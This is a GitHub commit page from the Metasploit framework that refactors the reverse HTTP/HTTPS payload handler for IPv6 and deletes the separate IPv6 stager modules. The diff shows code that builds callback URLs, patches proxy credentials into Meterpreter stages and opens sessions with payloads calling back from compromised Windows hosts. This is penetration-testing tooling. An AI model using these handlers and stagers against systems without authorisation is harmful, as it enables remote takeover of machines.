Skip to content

Commit c31fc61

Browse files
author
Tod Beardsley
committed
Land rapid7#3270, @jlee-r7 deprecation ipv6 payloads
These are not needed, since you can just config the regular handler now and pick either. This resolves the conflict (rm'ed the old modules) Conflicts: modules/payloads/stagers/windows/reverse_ipv6_http.rb modules/payloads/stagers/windows/reverse_ipv6_https.rb
2 parents f737108 + af89925 commit c31fc61

File tree

7 files changed

+69
-301
lines changed

7 files changed

+69
-301
lines changed

lib/msf/core/handler/reverse_http.rb

Lines changed: 60 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -31,27 +31,6 @@ def self.general_handler_type
3131
"tunnel"
3232
end
3333

34-
#
35-
# Use the +refname+ to determine whether this handler uses SSL or not
36-
#
37-
def ssl?
38-
!!(self.refname.index("https"))
39-
end
40-
41-
#
42-
# Return a URI of the form scheme://host:port/
43-
#
44-
# Scheme is one of http or https and host is properly wrapped in [] for ipv6
45-
# addresses.
46-
#
47-
def full_uri
48-
local_port = bind_port
49-
scheme = (ssl?) ? "https" : "http"
50-
"#{scheme}://#{datastore['LHOST']}:#{datastore['LPORT']}/"
51-
end
52-
53-
54-
5534
#
5635
# Initializes the HTTP SSL tunneling handler.
5736
#
@@ -77,14 +56,64 @@ def initialize(info = {})
7756
], Msf::Handler::ReverseHttp)
7857
end
7958

80-
#
8159
# Toggle for IPv4 vs IPv6 mode
8260
#
83-
def ipv6
84-
self.refname.index('ipv6') ? true : false
61+
def ipv6?
62+
Rex::Socket.is_ipv6?(datastore['LHOST'])
8563
end
8664

65+
# Determine where to bind the server
8766
#
67+
# @return [String]
68+
def listener_address
69+
if datastore['ReverseListenerBindAddress'].to_s.empty?
70+
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
71+
else
72+
bindaddr = datastore['ReverseListenerBindAddress']
73+
end
74+
75+
bindaddr
76+
end
77+
78+
# @return [String] A URI of the form +scheme://host:port/+
79+
def listener_uri
80+
if ipv6?
81+
listen_host = "[#{listener_address}]"
82+
else
83+
listen_host = listener_address
84+
end
85+
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
86+
end
87+
88+
# Return a URI suitable for placing in a payload.
89+
#
90+
# Host will be properly wrapped in square brackets, +[]+, for ipv6
91+
# addresses.
92+
#
93+
# @return [String] A URI of the form +scheme://host:port/+
94+
def payload_uri
95+
if ipv6?
96+
callback_host = "[#{datastore['LHOST']}]"
97+
else
98+
callback_host = datastore['LHOST']
99+
end
100+
"#{scheme}://#{callback_host}:#{datastore['LPORT']}/"
101+
end
102+
103+
# Use the {#refname} to determine whether this handler uses SSL or not
104+
#
105+
def ssl?
106+
!!(self.refname.index("https"))
107+
end
108+
109+
# URI scheme
110+
#
111+
# @return [String] One of "http" or "https" depending on whether we
112+
# are using SSL
113+
def scheme
114+
(ssl?) ? "https" : "http"
115+
end
116+
88117
# Create an HTTP listener
89118
#
90119
def setup_handler
@@ -98,17 +127,11 @@ def setup_handler
98127

99128
local_port = bind_port
100129

101-
# Determine where to bind the HTTP(S) server to
102-
bindaddrs = ipv6 ? '::' : '0.0.0.0'
103-
104-
if not datastore['ReverseListenerBindAddress'].to_s.empty?
105-
bindaddrs = datastore['ReverseListenerBindAddress']
106-
end
107130

108131
# Start the HTTPS server service on this host/port
109132
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
110133
local_port,
111-
bindaddrs,
134+
listener_address,
112135
ssl?,
113136
{
114137
'Msf' => framework,
@@ -130,9 +153,7 @@ def setup_handler
130153
},
131154
'VirtualDirectory' => true)
132155

133-
scheme = (ssl?) ? "https" : "http"
134-
bind_url = "#{scheme}://#{bindaddrs}:#{local_port}/"
135-
print_status("Started #{scheme.upcase} reverse handler on #{bind_url}")
156+
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
136157
end
137158

138159
#
@@ -165,7 +186,6 @@ def stop_handler
165186
# Parses the HTTPS request
166187
#
167188
def on_request(cli, req, obj)
168-
sid = nil
169189
resp = Rex::Proto::Http::Response.new
170190

171191
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
@@ -176,7 +196,7 @@ def on_request(cli, req, obj)
176196
case uri_match
177197
when /^\/INITJM/
178198
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
179-
url = full_uri + conn_id + "/\x00"
199+
url = payload_uri + conn_id + "/\x00"
180200

181201
blob = ""
182202
blob << obj.generate_stage
@@ -239,10 +259,10 @@ def on_request(cli, req, obj)
239259
blob[i, proxyinfo.length] = proxyinfo
240260
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
241261
#Optional authentification
242-
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
262+
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
243263
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
244264
datastore['PROXY_TYPE'] == 'SOCKS'
245-
265+
246266
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
247267
proxy_username = datastore['PROXY_USERNAME'] << "\x00"
248268
blob[proxy_username_loc, proxy_username.length] = proxy_username
@@ -266,7 +286,7 @@ def on_request(cli, req, obj)
266286
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
267287
i = blob.index("https://" + ("X" * 256))
268288
if i
269-
url = full_uri + conn_id + "/\x00"
289+
url = payload_uri + conn_id + "/\x00"
270290
blob[i, url.length] = url
271291
end
272292
print_status("Patched URL at offset #{i}...")
@@ -308,7 +328,7 @@ def on_request(cli, req, obj)
308328
create_session(cli, {
309329
:passive_dispatcher => obj.service,
310330
:conn_id => conn_id,
311-
:url => full_uri + conn_id + "/\x00",
331+
:url => payload_uri + conn_id + "/\x00",
312332
:expiration => datastore['SessionExpirationTimeout'].to_i,
313333
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
314334
:ssl => ssl?,

lib/msf/core/handler/reverse_http/uri_checksum.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,7 @@ module UriChecksum
4545

4646
# Map "random" URIs to static strings, allowing us to randomize
4747
# the URI sent in the first request.
48+
#
4849
# @param uri_match [String] The URI string to convert back to the original static value
4950
# @return [String] The static URI value derived from the checksum
5051
def process_uri_resource(uri_match)
@@ -69,6 +70,7 @@ def process_uri_resource(uri_match)
6970
end
7071

7172
# Create a URI that matches a given checksum
73+
#
7274
# @param sum [Fixnum] The checksum value you are trying to create a URI for
7375
# @return [String] The URI string that checksums to the given value
7476
def generate_uri_checksum(sum)

lib/msf/core/handler/reverse_ipv6_http.rb

Lines changed: 0 additions & 34 deletions
This file was deleted.

lib/msf/core/handler/reverse_ipv6_https.rb

Lines changed: 0 additions & 35 deletions
This file was deleted.

modules/payloads/stagers/windows/reverse_http.rb

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,13 @@ def generate
7979
i = p.index("/12345\x00")
8080
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW) + "\x00"
8181
p[i, u.length] = u
82-
p + datastore['LHOST'].to_s + "\x00"
82+
83+
lhost = datastore['LHOST'] || Rex::Socket.source_address
84+
if Rex::Socket.is_ipv6?(lhost)
85+
lhost = "[#{lhost}]"
86+
end
87+
88+
p + lhost + "\x00"
8389
end
8490

8591
#

modules/payloads/stagers/windows/reverse_ipv6_http.rb

Lines changed: 0 additions & 95 deletions
This file was deleted.

0 commit comments

Comments
 (0)